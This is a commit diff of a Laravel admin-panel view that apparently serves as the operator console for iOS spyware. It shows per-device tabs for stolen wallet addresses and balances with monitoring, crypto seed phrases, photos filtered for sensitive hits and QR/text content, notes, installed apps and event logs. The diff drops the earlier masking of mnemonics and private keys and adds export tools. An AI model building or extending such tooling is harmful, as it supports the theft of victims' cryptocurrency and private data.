This commit is contained in:
hashbro
2026-08-07 05:21:44 +08:00
parent 5145b6f719
commit 78b61f85d2
325 changed files with 9874 additions and 1738 deletions
@@ -4,22 +4,18 @@
@section('content')
<div class="layui-card">
<div class="layui-card-header">
设备 <code>{{ $device->device_id }}</code>
<a class="layui-btn layui-btn-primary layui-btn-xs" style="float:right;margin-top:8px;" href="{{ route('admin.devices.index') }}">返回列表</a>
</div>
<div class="layui-card-body">
<table class="layui-table" style="margin-bottom: 16px;">
<tr>
<th width="140">Device</th>
<th width="140">设备 ID</th>
<td><code>{{ $device->device_id }}</code></td>
<th width="140">Channel</th>
<th width="140">渠道 ID</th>
<td><code>{{ $device->channel_id ?: '—' }}</code></td>
</tr>
<tr>
<th>Model</th>
<th>设备型号</th>
<td>{{ $device->device_model ?: '—' }}</td>
<th>iOS</th>
<th>iOS 版本</th>
<td>{{ $device->ios_version ?: '—' }}</td>
</tr>
<tr>
@@ -36,109 +32,286 @@
</tr>
</table>
<div class="layui-tab layui-tab-brief">
<div class="layui-tab layui-tab-brief" style="margin-bottom: 0;">
<ul class="layui-tab-title">
@php $tabs = ['apps'=>'应用列表','events'=>'日志','photos'=>'相册','notes'=>'备忘录','wallets'=>'钱包']; @endphp
@php $tabs = [
'wallets' => '钱包地址',
'mnemonics' => '助记词',
'photos' => '相册',
'apps' => '已装 APP',
'notes' => '备忘录',
'events' => '日志',
]; @endphp
@foreach ($tabs as $key => $label)
<li class="{{ $tab === $key ? 'layui-this' : '' }}">
<a href="{{ route('admin.devices.show', [$device, 'tab' => $key]) }}">{{ $label }}</a>
<a href="{{ route(($portal ?? 'admin').'.devices.show', [$device, 'tab' => $key]) }}">{{ $label }}</a>
</li>
@endforeach
</ul>
</div>
@if ($tab === 'apps')
<table class="layui-table">
<thead><tr><th>名称</th><th>Bundle</th><th>版本</th><th>Wallet</th></tr></thead>
<tbody>
@forelse ($apps as $app)
<tr class="{{ $app->is_wallet ? 'wallet-row' : '' }}">
<td>{{ $app->name ?: '—' }}</td>
<td><code>{{ $app->bundle_id }}</code></td>
<td>{{ $app->version ?: '—' }}</td>
<td>@if($app->is_wallet)<span class="tag-wallet">wallet</span>@else—@endif</td>
</tr>
@empty
<tr><td colspan="4">暂无应用</td></tr>
@endforelse
</tbody>
</table>
@elseif ($tab === 'events')
<table class="layui-table">
<thead><tr><th>时间</th><th>Event</th><th>Desc</th><th>Context</th></tr></thead>
<tbody>
@forelse ($events as $ev)
<tr>
<td style="white-space:nowrap;">{{ $ev->created_at }}</td>
<td><code>{{ $ev->event_name ?: '—' }}</code></td>
<td class="wrap">{{ $ev->desc ?: '—' }}</td>
<td class="wrap"><pre class="json-block" style="margin:0;max-height:160px;overflow:auto;">{{ $ev->context_json ? json_encode($ev->context_json, JSON_PRETTY_PRINT|JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES) : '—' }}</pre></td>
</tr>
@empty
<tr><td colspan="4">暂无日志</td></tr>
@endforelse
</tbody>
</table>
@elseif ($tab === 'photos')
<div class="photo-grid">
@forelse ($photos as $photo)
<a class="photo-card" href="{{ route('admin.devices.photo', [$device, $photo->id]) }}" target="_blank">
<img src="{{ route('admin.devices.photo', [$device, $photo->id]) }}" alt="{{ $photo->sha256 }}">
<div>{{ $photo->size }} B</div>
</a>
@empty
<p>暂无相册</p>
@endforelse
</div>
@elseif ($tab === 'notes')
<table class="layui-table">
<thead><tr><th>Title</th><th>Body</th><th>When</th></tr></thead>
<tbody>
@forelse ($notes as $note)
<tr>
<td>{{ $note->title ?: '—' }}</td>
<td class="wrap">{{ \Illuminate\Support\Str::limit($note->body, 400) }}</td>
<td>{{ $note->created_at }}</td>
</tr>
@empty
<tr><td colspan="3">暂无备忘录</td></tr>
@endforelse
</tbody>
</table>
<div class="device-tab-body" style="padding-top: 16px;">
@if ($tab === 'photos')
<form class="layui-form" lay-filter="LAY-photo-filter" style="margin-bottom: 12px;">
<div class="layui-form-item" style="margin-bottom: 0;">
<div class="layui-inline">
<label class="layui-form-label" style="width: auto;">敏感词</label>
<div class="layui-input-inline" style="width: 180px;">
<select name="sensitive">
<option value="">全部</option>
<option value="1">含敏感词 (x-hit&gt;0)</option>
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-photo-search">筛选</button>
<button type="reset" class="layui-btn layui-btn-primary" id="LAY-photo-reset">重置</button>
</div>
</div>
</form>
<div id="LAY-photo-grid" class="photo-grid"></div>
<div id="LAY-photo-empty" style="display:none;color:#999;padding:12px 0;">暂无相册</div>
<div id="LAY-photo-page" style="margin-top: 16px; text-align: right;"></div>
@else
<div class="layui-elem-quote">Addresses</div>
<table class="layui-table">
<thead><tr><th>Chain</th><th>Address</th><th>Balance</th><th>Symbol</th></tr></thead>
<tbody>
@forelse ($addresses as $addr)
<tr>
<td>{{ $addr->chain ?: '—' }}</td>
<td><code>{{ $addr->address }}</code></td>
<td>{{ $addr->balance ?: '—' }}</td>
<td>{{ $addr->symbol ?: '—' }}</td>
</tr>
@empty
<tr><td colspan="4">暂无地址</td></tr>
@endforelse
</tbody>
</table>
<div class="layui-elem-quote">Secrets(打码)</div>
<table class="layui-table">
<thead><tr><th>Source</th><th>Mnemonic</th><th>Privkey</th><th>When</th></tr></thead>
<tbody>
@forelse ($maskedWallets as $w)
<tr>
<td>{{ $w['source_app'] ?: '—' }}</td>
<td><code>{{ $w['mnemonic'] }}</code></td>
<td><code>{{ $w['privkey'] }}</code></td>
<td>{{ $w['created_at'] }}</td>
</tr>
@empty
<tr><td colspan="4">暂无钱包密钥</td></tr>
@endforelse
</tbody>
</table>
@if ($tab === 'wallets')
<form class="layui-form" lay-filter="LAY-wallet-filter" style="margin-bottom: 12px;">
<div class="layui-form-item" style="margin-bottom: 0;">
<div class="layui-inline">
<label class="layui-form-label" style="width: auto;">Source</label>
<div class="layui-input-inline" style="width: 180px;">
<select name="source">
<option value="">全部</option>
@foreach ($addressSources as $src)
<option value="{{ $src }}">{{ $src }}</option>
@endforeach
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label" style="width: auto;">Chain</label>
<div class="layui-input-inline" style="width: 160px;">
<select name="chain_type">
<option value="">全部</option>
@foreach ($addressChains as $chain)
<option value="{{ $chain }}">{{ $chain }}</option>
@endforeach
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-wallet-search">筛选</button>
<button type="reset" class="layui-btn layui-btn-primary" id="LAY-wallet-reset">重置</button>
</div>
</div>
</form>
@endif
<table id="LAY-device-tab-list" lay-filter="LAY-device-tab-list"></table>
@endif
</div>
</div>
</div>
@endsection
@push('scripts')
<script>
layui.use(['table', 'form', 'laypage', 'layer'], function () {
var table = layui.table;
var form = layui.form;
var laypage = layui.laypage;
var layer = layui.layer;
var $ = layui.$;
var tab = @json($tab);
var tabDataUrl = @json(route(($portal ?? 'admin').'.devices.tabData', $device));
var dash = function (v) { return v ? v : '—'; };
var esc = function (v) {
return String(v == null ? '' : v)
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;');
};
if (tab === 'photos') {
var photoState = { page: 1, limit: 15, sensitive: '' };
var renderPhotos = function () {
$.getJSON(tabDataUrl, {
tab: 'photos',
page: photoState.page,
limit: photoState.limit,
sensitive: photoState.sensitive
}, function (res) {
var $grid = $('#LAY-photo-grid').empty();
var list = (res && res.data) ? res.data : [];
if (!list.length) {
$('#LAY-photo-empty').show();
} else {
$('#LAY-photo-empty').hide();
list.forEach(function (p) {
var hit = (p.x_hit == null || p.x_hit === '') ? '—' : p.x_hit;
var card = $(
'<a class="photo-card" href="javascript:;">' +
'<img alt="">' +
'<div></div>' +
'<div class="muted" style="font-size:12px;color:#888;"></div>' +
'</a>'
);
card.find('img').attr('src', p.url).attr('alt', p.sha256 || '');
card.find('div').eq(0).text((p.size == null ? '—' : p.size) + ' B · x-hit ' + hit);
card.find('div').eq(1).text(
'up ' + dash(p.upload_count) +
' · idx ' + dash(p.process_index) +
' · text ' + dash(p.text_count) +
' · qr ' + dash(p.barcode_count)
);
card.on('click', function (e) {
e.preventDefault();
layer.open({
type: 1,
title: '相册预览',
area: ['80%', '85%'],
shadeClose: true,
content: '<div style="padding:12px;text-align:center;background:#111;min-height:100%;box-sizing:border-box;">' +
'<img src="' + p.url + '" style="max-width:100%;max-height:75vh;object-fit:contain;">' +
'<div style="color:#ccc;margin-top:10px;font-size:12px;word-break:break-all;">' +
esc(p.sha256 || '') + '</div></div>'
});
});
$grid.append(card);
});
}
laypage.render({
elem: 'LAY-photo-page',
count: (res && res.count) ? res.count : 0,
curr: photoState.page,
limit: photoState.limit,
limits: [10, 15, 20, 30, 50],
layout: ['count', 'prev', 'page', 'next', 'limit'],
jump: function (obj, first) {
if (first) return;
photoState.page = obj.curr;
photoState.limit = obj.limit;
renderPhotos();
}
});
});
};
form.on('submit(LAY-photo-search)', function (data) {
photoState.sensitive = data.field.sensitive || '';
photoState.page = 1;
renderPhotos();
return false;
});
$('#LAY-photo-reset').on('click', function () {
setTimeout(function () {
photoState.sensitive = '';
photoState.page = 1;
renderPhotos();
}, 0);
});
form.render('select');
renderPhotos();
return;
}
var colsMap = {
wallets: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'source', title: 'Source', width: 140, sort: true, templet: function (d) { return dash(d.source); } },
{ field: 'chain_type', title: 'Chain', width: 120, sort: true, templet: function (d) { return dash(d.chain_type); } },
{ field: 'address', title: 'Address', minWidth: 220, sort: true, templet: function (d) { return '<code>' + esc(d.address) + '</code>'; } },
{ field: 'usdt', title: 'USDT', width: 90 },
{ field: 'trx', title: 'TRX', width: 90 },
{ field: 'eth', title: 'ETH', width: 90 },
{ field: 'btc', title: 'BTC', width: 100 },
{ field: 'bnb', title: 'BNB', width: 90 },
{ field: 'monitor', title: '监听', width: 70, templet: function (d) {
return Number(d.monitor) === 1 ? '开' : '关';
} },
{ field: 'updated_at', title: '更新时间', width: 170, sort: true, templet: function (d) { return dash(d.updated_at); } }
]],
mnemonics: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'source', title: 'Source', width: 160, sort: true, templet: function (d) { return dash(d.source); } },
{ field: 'mnemonic', title: 'Mnemonic', minWidth: 220, templet: function (d) { return '<code>' + esc(d.mnemonic) + '</code>'; } },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }
]],
apps: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'name', title: '名称', minWidth: 140, sort: true, templet: function (d) { return dash(d.name); } },
{ field: 'bundle_id', title: 'Bundle', minWidth: 200, sort: true, templet: function (d) { return d.bundle_id ? '<code>' + esc(d.bundle_id) + '</code>' : '—'; } },
{ field: 'version', title: '版本', width: 120, sort: true, templet: function (d) { return dash(d.version); } },
{ field: 'is_wallet', title: 'Wallet', width: 100, sort: true, templet: function (d) {
return d.is_wallet ? '<span class="tag-wallet">wallet</span>' : '—';
} }
]],
notes: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'content', title: 'Content', minWidth: 320, templet: function (d) {
return d.content ? '<span class="wrap">' + esc(d.content) + '</span>' : '—';
} },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }
]],
events: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
{ field: 'event_name', title: 'Event', width: 160, sort: true, templet: function (d) { return d.event_name ? '<code>' + esc(d.event_name) + '</code>' : '—'; } },
{ field: 'desc', title: 'Desc', minWidth: 180, templet: function (d) { return dash(d.desc); } },
{ field: 'context', title: 'Context', minWidth: 220, templet: function (d) {
return d.context ? '<span class="wrap">' + esc(d.context) + '</span>' : '—';
} }
]]
};
var emptyMap = {
wallets: '暂无地址',
mnemonics: '暂无助记词',
apps: '暂无应用',
notes: '暂无备忘录',
events: '暂无日志'
};
table.render({
elem: '#LAY-device-tab-list',
id: 'LAY-device-tab-list',
url: tabDataUrl,
where: { tab: tab },
toolbar: true,
defaultToolbar: ['filter', 'exports', 'print'],
cols: colsMap[tab] || colsMap.wallets,
page: true,
limit: 15,
limits: [10, 15, 20, 30, 50],
text: { none: emptyMap[tab] || '暂无数据' },
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
if (tab === 'wallets') {
form.render('select');
form.on('submit(LAY-wallet-search)', function (data) {
table.reload('LAY-device-tab-list', {
where: {
tab: 'wallets',
source: data.field.source || '',
chain_type: data.field.chain_type || ''
},
page: { curr: 1 }
});
return false;
});
$('#LAY-wallet-reset').on('click', function () {
setTimeout(function () {
table.reload('LAY-device-tab-list', {
where: { tab: 'wallets', source: '', chain_type: '' },
page: { curr: 1 }
});
}, 0);
});
}
});
</script>
@endpush